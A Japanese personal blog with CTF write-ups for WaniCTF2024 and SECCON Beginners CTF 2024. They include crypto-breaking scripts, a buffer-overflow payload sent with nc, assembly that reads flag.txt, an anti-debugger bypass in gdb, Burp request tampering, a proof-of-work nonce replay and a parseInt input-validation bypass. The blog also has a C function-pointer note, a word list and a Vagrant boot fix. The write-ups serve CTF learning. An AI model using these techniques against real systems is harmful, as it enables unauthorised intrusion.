魂,縁深い,なまいき,摂生,険しい,雨宿り,種付け,結果的に,運命の相手,迄,こんな形で,理所当然,不詳,哂い,優延,便り,酷い,心の隙間,おてんば,ダサい,ノリの悪い,気が小さい,おはようございます,朝礼,祝祭,スタート,お疲れ様です,とほほ,良い週末を,押し上げる,集合住宅,先発,天邪鬼,わりかし,年上好き,犠牲精神,米朝,新星,渆々,结晶,觸れる,慈悲かける,ひとつ,はずれ,ほろよい,じんえつ,れんけい,っそり,せんけい,ぜったい,さっと,れさぽ,非常事態,安保,心配さ,同信,狼狽える,急場しのぎ,尊ばれる,惹句,奇肴,奢望,意味\n\n花鳥風月,英文学,教育者,恋愛心理学,結婚相談所,料理教室,日本茶,ビール,広告学,映画監督,音楽家,スイーツ,ファーストフード,日用品,言葉たつこと,太眉,奔走する,発行する,避難する,掲示する,収縮する,十分な量や多様性\n謙遜,実名,広場,覆水盆に返らず,無一文,個人主義,社内,励まさ,性愛,姿を消す,掘り出し物,脂,お好きにどうぞ,外観,腹見せ,\b症例,嫌疑,欠勤,\b戦慄,圧倒的な,語義,渡米,断固たる,裏人格,続縄,お自慢,空気読め,さらちゃん,四則演算,やり方,新品,しよう,前方後円墳,引越し,一瞬間,惜しければ,初勝利,実りのある,進歩しない,緩み,省資源,混乱が生じる,不和解,ズタボロ,立ち伏せ,ハ,辿々しい,心華,温熱,罪滅し,捦,劇,粘る,満ち満ちて,かっと,いちげん,えんてん,せんつう,まゆ,宝石学,ファッションデザイナー,ネイルサロン,国文学,日本史,食生活,懐いている,エンジン音,最高品質,竹取物語,ピラミッド,イヤリング,寮生活,大都市,お腹,玉葱,水族館,話者主軸,リタイヤ,ガーデニング,マウンテン,新婦,受け付け,昼間,バーベキュー,物の見事な,貰う,默示,公論,騎空,血縁,心在,巨乳,息抜,猥談,鼻湿,通販,ひととき,日本語能力,発音の練習,文章解釈,日本語能力試験対策,日本語学校,言葉選び,工業,農業技術,県,ピンイン,発音表,読解能力,同時通訳,翻訳家,文化大革命,ビル,春節,初詣,黄金週間,ハロウィーン,古事記,離合集散,乾涸る,暗唱,悱惶,雲行き,血弾,精牛,盛沢山,啄木鳥,鬼神,忠節,減算,接地,常常,商取引,新機能,则,定尺,付き,鈴,優先度,差し込み,競合,乱暴者,草臥れ,たゆまぬ,牝,殘忍,大門,視訊,物体,胱/ 癌,大敗,うつろな,同族嫌悪,罪な,継歌,叙情詩,悦に入る,本州,客電,割り切り,問わず嫌い

*1:改行コードは74件、バックスペースは2件

関数ポインタとそのキャストについて

調べてわかったことをまとめる。

関数ポインタ

その名の通り、関数を指すポインタ。次のように定義する。

// long型の引数を2つ受け取り、long型の値を返す、varという関数へのポインタ
long (*var)(long, long);

ちなみに*varを囲むカッコを外してしまうと、long *を返す関数のプロトタイプ宣言になってしまう。なので外せない。

long *var(long, long);

関数ポインタへのキャスト

以下のようにキャストできる。

(long (*)(long, long))var

覚え方としては、関数ポインタの定義から識別子(ここでは関数名)を抜いたものとして覚えるのがよさそう。

(long (*var)(long, long))
↓
(long (*)(long, long))

参考

WaniCTF2024 writeup

10問解いて233位だった。数時間しか参加できなかった割にはよく解けたと思うが、惜しいところで詰まった問題も多く技術不足を感じた。

crypto

beginners_rsa (beginner)

nが5つの素数の積として定義されている。こうした問題はMulti-Prime RSAと呼ばれるらしい。
n自体は96桁の巨大な数だが、その素因数は64bitほどの大きさしかない。そのため簡単に素因数分解できる。
ref: https://www.alpertron.com.ar/ECM.HTM

素因数分解の結果を以下に示す。

n = 317903423385943473062528814030345176720578295695512495346444822768171649361480819163749494400347

primes = [
    9953162929836910171,
    11771834931016130837,
    12109985960354612149,
    13079524394617385153,
    17129880600534041513,
]

p, q, r, s, aが求まったので、ここからphi(n) -> d -> mの順に計算することができる。
Malti-Prime RSAにおいてphi(n)(p - 1)(q - 1)(r - 1)(s - 1)(a - 1)と求まるから、以降は通常のRSAと同じようにd = e^(-1) mod phi(n), m = c ^ d mod nに沿って計算すればよい。
ref: https://www.ochappa.net/posts/multi-prime-rsa

※なお、計算が遅い場合は中国剰余定理を利用した高速化手法が使えるらしいが、今回は爆速で解読できたため利用しなかった。

以下は計算に使用したソースコードである。

from Crypto.Util.number import *

n = 317903423385943473062528814030345176720578295695512495346444822768171649361480819163749494400347
e = 65537
enc = 127075137729897107295787718796341877071536678034322988535029776806418266591167534816788125330265

# https://www.alpertron.com.ar/ECM.HTM
primes = [
    9953162929836910171,
    11771834931016130837,
    12109985960354612149,
    13079524394617385153,
    17129880600534041513,
]

phi = (
    (primes[0] - 1)
    * (primes[1] - 1)
    * (primes[2] - 1)
    * (primes[3] - 1)
    * (primes[4] - 1)
)
d = pow(e, -1, phi)
m = pow(enc, d, n)
flag = long_to_bytes(m)
print(flag)

以下は実行結果。

$ python3 dec.py 
b'FLAG{S0_3a5y_1254!!}'

付録:RSA問題で役に立つリンク集

beginners_aes (beginner)

AESに関する問題だが、AESの仕組みを知らずとも解ける。 keyがb"the_enc_key_is_" + (ランダムな1バイト)、ivがb"my_great_iv_is_" + (ランダムな1バイト)と定義されているから、考えられるkey, ivの候補を全探索すればよい。
その後、得られたflagの候補に対して、

  • FLAG{という文字列から始まるか
  • (パディングを外したうえで)ハッシュ値が与えられたものと等しいか

を調べることで、正しいflagが求まる。
以下は作成した解読用スクリプトである。

from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES
import hashlib

enc = b'\x16\x97,\xa7\xfb_\xf3\x15.\x87jKRaF&"\xb6\xc4x\xf4.K\xd77j\xe5MLI_y\xd96\xf1$\xc5\xa3\x03\x990Q^\xc0\x17M2\x18'
flag_hash = "6a96111d69e015a07e96dcd141d31e7fc81c4420dbbef75aef5201809093210e"

key = b'the_enc_key_is_'
iv = b'my_great_iv_is_'

for c_key in range(255):
    new_key = key + c_key.to_bytes() 
    for c_iv in range(255):
        new_iv = iv + c_iv.to_bytes() 
        cipher = AES.new(new_key, AES.MODE_CBC, new_iv)
        m_pad = cipher.decrypt(enc)
        if (not m_pad.startswith(b"FLAG{")):
            continue
        m = unpad(m_pad, 16)
        m_hash = hashlib.sha256(m).hexdigest()
        if (m_hash != flag_hash):
            continue
        print(m)
        # exit()

FLAG{7h3_f1r57_5t3p_t0_Crypt0!!}

replacement (easy)

1文字ごとにmd5ハッシュ値を求めているので、これも全探索すればよさそう。 全文字のmd5ハッシュ値を求め、与えられた配列の中に同一のハッシュ値があればその文字で置き換える、という処理を行えばよい。

import hashlib

# 配布された"my_diary_11_8_Wednesday.txt"の中身。長いので省略
enc = [265685380796387128074260337556987156845, ... , 301648155472379285594517050531127483548]

for c in range(256):
    x = hashlib.md5(str(c).encode()).hexdigest()
    x = int(x, 16)
    enc = [chr(c) if e == x else e for e in enc]
m = "".join(enc)
print(m)

以下は実行結果。

$ python3 dec.py
Wednesday, 11/8, clear skies. This morning, I had breakfast at my favorite cafe. Drinking the freshly brewed coffee and savoring the warm buttery toast is the best. Changing the subject, I received an email today with something rather peculiar in it. It contained a mysterious message that said "This is a secret code, so please don't tell anyone. FLAG{13epl4cem3nt}". How strange!

Gureisya

forensics

tiny-usb (beginner)

AutoPsyでisoファイルを開くと、FLAG.PNGという画像ファイルを見つけた。そこにflagが書かれていた。

FLAG{hey_i_just_bought_a_usb}

※ちなみにstringsコマンドで調べても画像ファイルの存在自体はわかる。

ImgBurn v2.5.8.0
CD001
FLAG.PNG;1
IHDR

Surveillance-of-sus (Normal)

fileコマンドで調べてもdataとしか言われず、ファイルタイプは判明しなかった。 そこでstringsコマンドを使うと先頭にRDP8bmpという文字列が見つかり、それで調べるとRDP Bitmap Cacheというファイルであることがわかった。 RDP(リモートデスクトッププロトコル)使用時、通信量軽減のために画像をキャッシュする仕組みがあるらしく、その際に作成されるファイルとのこと。

さらに検索すると解析方法から何まで書いてあったため、これに沿って解析していく。
https://jpn.nec.com/cybersecurity/blog/231006/index.html

簡単に説明すると、まずbmc-toolsでキャッシュから画像ファイル(複数のタイル)を得て、

$ wget https://raw.githubusercontent.com/ANSSI-FR/bmc-tools/master/bmc-tools.py
$ mkdir result
$ ls
bmc-tools.py  Cache_chal.bin  result
$ python3 bmc-tools.py -s Cache_chal.bin -d result
[+++] Processing a single file: 'Cache_chal.bin'.
[===] 650 tiles successfully extracted in the end.
[===] Successfully exported 650 files.
[===] Successfully exported collage file.

それらのタイルをRdpCacheStitcherというツールで並び替えることで、もとの画像を復元する。
https://github.com/BSI-Bund/RdpCacheStitcher/releases/

並び替えによって得た画像を以下に示す。flagが書かれているのがわかると思う。

FLAG{RDP_is_useful_yipeee}

codebreaker (beginner)

以下のサイトを使い、与えられた画像とにらめっこしてQRコードを作っていく。見えない部分については塗らないままでよい。
※参考までに、この問題ではQR-code versionは29x29(ver.3)、青いタイルをクリックすると表示されるFormat Info PatternはH/7だった。

https://merri.cx/qrazybox/

塗り終えたら右側の""Editor mode"をクリックするとテキストベースで表示してくれるので、これをコピーする。

#######_#?#???#?#???#_#######
#_____#_##??#???????#_#_____#
#_###_#__##?#?##?#???_#_###_#
#_###_#_##??##?##?##?_#_###_#
#_###_#_#????##??##??_#_###_#
#_____#_##????#??###?_#_____#
#######_#_#_#_#_#_#_#_#######
_________???#?#??????________
___#__#__???####?#???__###_##
###??#_?#??????#????#?#???##?
?#???##?##??????????#?##??##?
#?#???_?##???????????#?##?###
#####?#??##????????#?##?#??##
?#??#?_#####?????#####???###?
##?#####????????????###?????#
?##???_?##??????????#??##??##
##??#?###????#???????#???####
?#?###_??????##?#?????##??##?
?####?##?????#?#?#??????#?###
##??##_???????###???????##??#
?#??###????#?????########?###
________##???#?###??#___##?##
#######__##??####??##_#_#?##?
#_____#__#?##????#??#___#????
#_###_#__#??#?##?#??#####???#
#_###_#_#?#??#??#??##?#?#???#
#_###_#__##??###?###?#??##???
#_____#__#?##???#?#?##??#????
#######__#?#?##??##?######???

塗っていない部分はすべて?と表記されているため、白マスについては_に置き換える。メモ帳の置換機能を使って1行ずつ見ていった。

#######_#_#___#_#___#_#######
#_____#_##__#_______#_#_____#
#_###_#__##_#_##_#____#_###_#
#_###_#_##__##_##_##__#_###_#
#_###_#_#____##__##___#_###_#
#_____#_##____#__###__#_____#
#######_#_#_#_#_#_#_#_#######
_________??_#_#____??________
___#__#__???####_#???__###_##
###__#__#????__#_???#_#___##_
_#___##_##?????????_#_##__##_
#_#_____##_#??????___#_##_###
#####_#__##_?????__#_##_#__##
_#__#__#####_????#####___###_
##_#####____??????__###_____#
_##_____##_????????_#__##__##
##__#_###_???#__?????#___####
_#_###____?__##_#????_##__##_
_####_##???__#_#_#????__#_###
##__##__??#___###__????_##__#
_#__###??__#_____########_###
________##___#_###__#___##_##
#######__##__####__##_#_#?##_
#_____#__#_##____#__#___#??__
#_###_#__#__#_##_#__#####??_#
#_###_#_#_#__#__#__##_#_#???#
#_###_#__##__###_###_#__##???
#_____#__#_##___#_#_##__#_???
#######__#_#_##__##_######_??

これをtxtファイルとして保存し、再度QRazyBoxに食わせてみる(New -> Import from text)。右上のTools -> Extract QR Informationを選択して解読を試みるが、以下の通りまだ読むことができない。

QR version : 3 (29x29)
Error correction level : H
Mask pattern : 7
Number of missing bytes (erasures) : 27 bytes (38.57%)
Data blocks :
["??????0?","00010110","01010100","11100010","01100100","11010110","11000100","01000110","000?????","???1?110","01110111","11000110","10110100","11110111","10000110","01010111","1???0111","00110111","01110101","1???????","?1110111","111011??","???10110","00010001","00110110","11101?0?","???0?101","01??????","??101000","01001110","10011010","01111011","10111101","0001111?","0???????","?????001","11101001","01111000","00010000","00110110","1???????","?????100","01110000","00011000","11101001","11011010","01110011","0011000?","????100?","0?1????0","?1100101","10111100","01001000","000?????","??100010","01000?0?","1??0?100","01100110","1010001?","??0?1110","01101111","00101110","01000001","00010011","10000000","01010010","11110101","01001110","10111101","01000000"]
----------------Block 1----------------
Reed-Solomon Block : [0,84,100,196,0,119,180,134,0,117,0,0,54,0,0,154,189,0,233,16,0,112,233,115,0,0,72,0,0,0,111,65,128,245,189]
----------------Block 2----------------
Reed-Solomon Block : [22,226,214,70,0,198,247,87,55,0,0,17,0,0,78,123,0,0,120,54,0,24,218,0,0,188,0,0,102,0,46,19,82,78,64]
Final data bits :
0000000001010100011001001100010000000000011101111011010010000110000000000111010100000000000000000011011000010110111000101101011001000110000000001100011011110111010101110011011100000000000000000001000100000000
Final Decoded string :
Error :
- Too much missing bits

これ以上の復元は無理そうで諦めかけたが、ここで"reed-solomon decoder"を使うとデコードできる場合があると知った。
ref: https://merri.cx/qrazybox/help/examples/basic-example.html

そこでTools -> reed-solomon decoderを選択し、Decodeを押すと、見事flagを得ることができた。

FLAG{How_scan-dalous}

I_wanna_be_a_streamer (easy):解けなかった

RTPストリームから怪しげな音源を見つけるところまでは行けたがそこからがわからなかった

pwnable

nc (beginner)

16進数で計算の答えを述べる問題。

$ nc chal-lz56g6.wanictf.org 9003
15+1=0x10
FLAG{th3_b3ginning_0f_th3_r0ad_to_th3_pwn_p1ay3r}

home (easy):解けなかった

現在いるパスにServiceという文字列が含まれており、なおかつデバッガを使用していない場合にflag作成処理constructFlag()が実行される。 ただし、2つ目の条件「デバッガを使用していない」に関してはcmp命令で判定がされており、$rax == 0xffffffffffffffffのときにデバッガを使っていると判断される。そのため、デバッガを使用していたとしても、print $rax=1gdbの例)のようにraxを適当な値に変えてやれば突破できる。

さて、このconstructFlag()の結果がどこに格納されるかがわからない。

reversing

lambda

ソースコードに書いてあった内包表記を組み合わせたら解けてしまった…

s = "16_10_13_x_6t_4_1o_9_1j_7_9_1j_1o_3_6_c_1o_6r"
s = [chr(int(c,36) + 10) for c in s.split('_')]
s = [chr(123^ord(c)) for c in s]
s = [chr(ord(c) + 3) for c in s]
s = [chr(ord(c) - 12) for c in s]
print("".join(s))

web

Bad_Worker (beginner)

"Fetch"ボタンを押した際の遷移先をBurpSuiteでdummy.txtからflag.txtに書き換えるだけ。

FLAG{pr0gr3ssiv3_w3b_4pp_1s_us3fu1}

pow (easy)

あるWebページが与えられる。そこでは一定間隔でsend関数が実行されており、sendでは/api/powに引数arrayをPOSTする処理が行われている。
scriptタグ内のコードを以下に示す。

function hash(input) {
  let result = input;
  for (let i = 0; i < 10; i++) {
    result = CryptoJS.SHA256(result);
  }
  return (result.words[0] & 0xFFFFFF00) === 0;
}
async function send(array) {
  document.getElementById("server-response").innerText = await fetch(
    "/api/pow",
    {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
      },
      body: JSON.stringify(array),
    }
  ).then((r) => r.text());
}
let i = BigInt(localStorage.getItem("pow_progress") || "0");
async function main() {
  await send([]);
  async function loop() {
    document.getElementById(
      "client-status"
    ).innerText = `Checking ${i.toString()}...`;
    localStorage.setItem("pow_progress", i.toString());
    for (let j = 0; j < 1000; j++) {
      i++;
      if (hash(i.toString())) {
        await send([i.toString()]);
      }
    }
    requestAnimationFrame(loop);
  }
  loop();
}
main();

一定の間隔でsendが呼び出されており、そのたびにページ内のServer responseの数字が1ずつ増えていく。表記からしてこの数字を1000000にすればflagが手に入りそうだ。 とりあえず適当な値でsendを呼び出してみたが、特定の値でないとBad Requestとなってしまう。そのため、一度正規の通信が行われるまで待ち、そこで送信された値2862152*1を用いて呼び出したところ、Server responseが1増えたことが確認できた。

さて、sendを使えば数値が増やせることがわかったものの、愚直に100万回リクエストを飛ばすとDoS攻撃になりかねない。 そこでこのsend関数が引数にstringsのarrayをとることから、複数の値を一気に渡せないかと考えた。実際に["2862152", "2862152"]をsendしたところ、想定通りServer responseが2増えた。

これを利用して、「一気に10万要素のarrayを送信する」処理を10回繰り返すことで、DoSせずにflagを得ることができる。具体的にはDevtoolで以下のコードを実行すればよい(省略しているが、send(arr)は10回実行する)。

arr = new Array(1000000).fill("2862152")
send(arr)
send(arr)
(略)
send(arr)

これでServer responseの部分にflagが表示された(flagの文面からして嘘解法っぽいが気にしない)。

FLAG{N0nCE_reusE_i$_FUn}

*1:この値はburpsuiteで通信内容を見ることで得た

SECCON Beginners CTF 2024 へなちょこwriteup

2024/06/15, 16に開催されたSECCON Beginners CTF 2024に1人チームで参加し、8問解いて173位*1だった。

図1. 最終結

別件で忙しくあまり解けなかったものの、それでもbeginner問題はWeb以外全部解けて良かった。またバイナリを読む力も上がっていると感じた。Webは1問も解けなかったが…

crypto

Safe Prime

サイト使ったらあっさりNを素因数分解できたのでそれで解きました…
https://www.alpertron.com.ar/ECM.HTM

終わってから気づいたが、多分n = pq = 2p^2 + 2から作った2次方程式を解いてpを求め、そこからq, phy, d, ... と求めていくのが自然かと思う。

import os 
# from Crypto.Util.number import getPrime, isPrime
from binascii import unhexlify

n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861
e = 65537

# サイトで素因数分解して得たp, q
p = 12102218132092788983076120827660793302772954212820202862795152183026727457303468297417870419059113694288380193533843580519380239112707203650532664240934393
q = 24204436264185577966152241655321586605545908425640405725590304366053454914606936594835740838118227388576760387067687161038760478225414407301065328481868787

phy = (p-1) * (q-1)
d = pow(e, -1, phy)
m = pow(c, d, n)
m = unhexlify(hex(m)[2:])
print(m)

ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}

pwnable

simpleoverflow

何も考えず長い文字列を投げるだけ。

$ nc simpleoverflow.beginners.seccon.games 9000
name:000000000000000000
Hello, 0000000000000000A        �
ctf4b{0n_y0ur_m4rk}

simpleoverwrite

winに飛ばすだけ。まずwin関数のアドレスを調べる。

$ objdump -d chall
(略)
0000000000401186 <win>:
  401186:       55                      push   %rbp
  401187:       48 89 e5                mov    %rsp,%rbp
(略)

0x401186に飛ばせばいいとわかったのであとはBOF

$ echo -e "aaaaaaaaaaaaaaaaaa\x86\x11\x40\x00\x00\x00\x00\x00" | nc simpleoverwrite.beginners.seccon.games 9001
input:Hello, aaaaaaaaaaaaaaaaaa�@
return to: 0x401186
ctf4b{B3l13v3_4g41n}

reversing

assemble

stage1, 2は自明なので飛ばす。

stage3
ref: https://qiita.com/sxarp/items/aff43dd83b0da69b92ce

mov rax, 0x6f6c6c6548
push rax
mov rax, 0x1
mov rdi, 0x1
mov rsi, rsp
mov rdx, 0x5
syscall

stage4
ref1: https://nxmnpg.lemoda.net/ja/2/open
ref2: https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

mov rax, 0x0
push rax
mov rax, 0x7478742e67616c66
push rax
mov rax, 0x2
mov rdi, rsp
mov rsi, 0x0
mov rdx, 0x0
syscall

mov rdi, rax
mov rax, 0x0
mov rsi, rsp
mov rdx, 0x34
syscall

mov rax, 0x1
mov rdi, 0x1
mov rsi, rsp
mov rdx, 0x34
syscall

cha.ll.enge

cha.ll.engeLLVMのIRと呼ばれる中間コードの形式で書かれている。つまりC言語ソースコードからLLVM IRが作られ、そこから最終的な実行可能ファイル(バイナリ)が出力される。
このcha.ll.engeの処理を中盤まで読み解き、コメントを付加したものを以下に示す。各行のセミコロン以降がコメントである。

@__const.main.key = private unnamed_addr constant [50 x i32] [i32 119, i32 20, i32 96, i32 6, i32 50, i32 80, i32 43, i32 28, i32 117, i32 22, i32 125, i32 34, i32 21, i32 116, i32 23, i32 124, i32 35, i32 18, i32 35, i32 85, i32 56, i32 103, i32 14, i32 96, i32 20, i32 39, i32 85, i32 56, i32 93, i32 57, i32 8, i32 60, i32 72, i32 45, i32 114, i32 0, i32 101, i32 21, i32 103, i32 84, i32 39, i32 66, i32 44, i32 27, i32 122, i32 77, i32 36, i32 20, i32 122, i32 7], align 16
@.str = private unnamed_addr constant [14 x i8] c"Input FLAG : \00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%s\00", align 1
@.str.2 = private unnamed_addr constant [22 x i8] c"Correct! FLAG is %s.\0A\00", align 1
@.str.3 = private unnamed_addr constant [16 x i8] c"Incorrect FLAG.\00", align 1

; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main() #0 {
  %1 = alloca i32, align 4          ; int
  %2 = alloca [70 x i8], align 16   ; char[70] input?
  %3 = alloca [50 x i32], align 16  ; int[50] flag?
  %4 = alloca i32, align 4          ; int
  %5 = alloca i32, align 4          ; int
  %6 = alloca i64, align 8          ; long i?
  store i32 0, i32* %1, align 4     ; %1 = 0
  %7 = bitcast [50 x i32]* %3 to i8*
  call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 16 %7, i8* align 16 bitcast ([50 x i32]* @__const.main.key to i8*), i64 200, i1 false)
  %8 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([14 x i8], [14 x i8]* @.str, i64 0, i64 0)) ; msg for input
  %9 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0
  %10 = call i32 (i8*, ...) @__isoc99_scanf(i8* noundef getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* noundef %9)
  %11 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0
  %12 = call i64 @strlen(i8* noundef %11) #4
  %13 = icmp eq i64 %12, 49 ; strlen==49?
  br i1 %13, label %14, label %48

14:                                               ; preds = %0
  store i32 0, i32* %4, align 4   ; %4 = 0
  store i32 0, i32* %5, align 4   ; %5 = 0
  store i64 0, i64* %6, align 8   ; %6 = 0
  br label %15

15:                                               ; preds = %38, %14
  %16 = load i64, i64* %6, align 8  ; i?
  %17 = icmp ult i64 %16, 49        ; %16 < 49 ?
  br i1 %17, label %18, label %41

18:                                               ; preds = %15
  %19 = load i64, i64* %6, align 8
  %20 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 %19 
  %21 = load i8, i8* %20, align 1     ; input[i]
  %22 = sext i8 %21 to i32
  %23 = load i64, i64* %6, align 8
  %24 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %23 
  %25 = load i32, i32* %24, align 4   ; flag[i]
  %26 = xor i32 %22, %25              ; %26 = input[i] ^ flag[i]
  %27 = load i64, i64* %6, align 8
  %28 = add i64 %27, 1                
  %29 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %28
  %30 = load i32, i32* %29, align 4   ; %30 = flag[i+1]
  %31 = xor i32 %26, %30              ; %31 = input[i] ^ flag[i] ^ flag[i+1]
  store i32 %31, i32* %5, align 4     ; %5 = %31
  %32 = load i32, i32* %5, align 4    ; %32 = %5
  %33 = icmp eq i32 %32, 0            ; eq?
  br i1 %33, label %34, label %37

参考:

以上の中間言語から、だいたい以下のような処理を行っていることがわかる。

// コンパイルしてないので動かなかったらごめんなさい
char flag_parts = {119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7};
char input[70]; // 入力された文字列
for (int i = 0; i < 49; ++i) {
  if (input[i] ^ flag_parts[i] ^ flag_parts[i+1] != 0) exit(1);
}

ここから、flag_parts[i] ^ flag_parts[i+1]という処理を行った文字列がflagとなっていることがわかるので、この処理に従って解読を行えばよい。
以下は解読用のpythonスクリプトである。

data = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7]

data_xored = [chr(data[i] ^ data[i+1]) for i in range(49)]
print("".join(data_xored))

ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}

misc

getRank

scoreをpostすると、サーバ側でchall関数に渡されたあとにgetRank関数に渡され、ランキングが算出される。ここで1位と算出されればflagが得られる。

ただし以下のコードを見ると、ランキング1位の人は10**255点を取っており、さらに10**255より大きなスコアを持つ人にハンデをもたせる処理(具体的にはスコアを10**100分の1にする処理)が動くため、正攻法では無理がある。ハンデを見越して10**355以上の値を渡そうとしても、300文字以上の文字列は弾かれてしまうためうまくいかない。

const RANKING = [10 ** 255, 1000, 100, 10, 1, 0]

(中略)

function chall(input: string): Res {
  if (input.length > 300) {        // 300文字以上は弾かれる
    return {
      rank: -1,
      message: "Input too long",
    };
  }

  let score = parseInt(input);
  if (isNaN(score)) {
    return {
      rank: -1,
      message: "Invalid score",
    };
  }
  if (score > 10 ** 255) {       // 10**255点より大きいスコアは10**100分の1にされる
    // hmm...your score is too big?
    // you need a handicap!
    for (let i = 0; i < 100; i++) {
      score = Math.floor(score / 10);
    }
  }

  return ranking(score);
}

そこでparseInt()0xから始まる文字列を渡すと、勝手に16進数として認識してくれる機能を悪用する。
つまり、

0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF

(Fが298桁)という数値を送信することで、ハンデがあっても1位になれる。

※送信の際はburpsuiteでリクエストを改変するのが楽だと思う。

ctf4b{15_my_5c0r3_700000_b1g?}

clamre

flagファイルの拡張子から、ClamAVのLogical Signatureだとわかる。
参考:https://docs.clamav.net/manual/Signatures/LogicalSignatures.html

ClamoraFlag;
Engine:81-255,Target:0;
1;
63746634;
0/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/

正規表現の部分だけ取り出す

^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$

\Nは左端から数えてN番目の()に対応するので、その通り置換する
参考:https://software.fujitsu.com/jp/manual/manualfiles/M060003/J2S19580/01Z2A/nd05/nd000036.html#:~:text=%5CN(%E3%83%90%E3%83%83%E3%82%AF%E3%82%B9%E3%83%A9%E3%83%83%E3%82%B7%E3%83%A5%E6%95%B0%E5%AD%97),%E3%81%A8%20)%20%E3%81%AB%E8%A9%B2%E5%BD%93%E3%81%97%E3%81%BE%E3%81%99%E3%80%82

  • \3 -> (4)
  • \7 -> (\x33)
  • \10 -> (\x5f)
  • \11 -> (\x6c)
  • \14 -> (\x75)
^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)(4)(\x6b1)(\x6e\x67)(\x5f)(4)(\x6c)(\x6c)(\x5f)(\x54\x68)(\x33)(\x5f)(\x480)(\x75)(5)(\x33)(\x5f)(\x52)(\x75)(\x6c)(\x33)(5)\})$

16進数を文字列に戻し、不要な()^$\を消す

$ echo -e "^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)(4)(\x6b1)(\x6e\x67)(\x5f)(4)(\x6c)(\x6c)(\x5f)(\x54\x68)(\x33)(\x5f)(\x480)(\x75)(5)(\x33)(\x5f)(\x52)(\x75)(\x6c)(\x33)(5)\})$" | tr -d \(\)\^\$\\
tr: warning: an unescaped backslash at end of string is not portable
ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}

*1:全962チーム

【Win11/Virtualbox】"Begin: Loading essential drivers"と出て起動がストップする

問題

Vagrantを使ってVirtualbox仮想マシンを起動すると、仮想マシン側で"Begin: Loading essential drivers ..."と表示されたまま動作が止まってしまう。

図1. 起動ストップ時のVMの様子

Vagrant側も以下の通り止まったままとなり、そのうちタイムアウトエラーが出る。

PS C:\Users\XXX > vagrant up
Bringing machine 'default' up with 'virtualbox' provider...
==> default: Checking if box 'bento/ubuntu-22.04' version '202401.31.0' is up to date...
==> default: Clearing any previously set forwarded ports...
==> default: Clearing any previously set network interfaces...
==> default: Preparing network interfaces based on configuration...
    default: Adapter 1: nat
==> default: Forwarding ports...
    default: 22 (guest) => 2222 (host) (adapter 1)
==> default: Running 'pre-boot' VM customizations...
==> default: Booting VM...
==> default: Waiting for machine to boot. This may take a few minutes...
    default: SSH address: 127.0.0.1:2222
    default: SSH username: vagrant
    default: SSH auth method: private key
(注:ここまで出力された状態で止まる)

環境

対策

抜本的な対策は見つからなかったものの、起動を再開する方法があったので紹介する。
参考:https://forums.virtualbox.org/viewtopic.php?t=104837

なぜかはわからないが、VMの「仮想マシン」→「一時停止」を押して数秒(<10秒?)待ち、一時停止を解除すると起動が再開される。 (2024/08/09追記:右ctrl+Pを素早く2回連打してもOK)
VMを一時停止するので、Vagrantではエラーがでてvagrant upが失敗したという扱いになる。しかしVMの起動は済んでいるためそのままvagrant sshVMSSH接続できる。

図2. 一時停止ボタン

ただし、一時停止により仮想マシンの時刻がずれる場合があるので注意。その場合はntpdateで直せば良い。

vagrant@vagrant:~$ sudo apt install ntpdate
vagrant@vagrant:~$ sudo ntpdate ntp.nict.jp
 5 Jun 02:14:26 ntpdate[1288]: step time server 133.243.238.243 offset +137.018789 sec
vagrant@vagrant:~$ date
Wed Jun  5 02:14:33 AM UTC 2024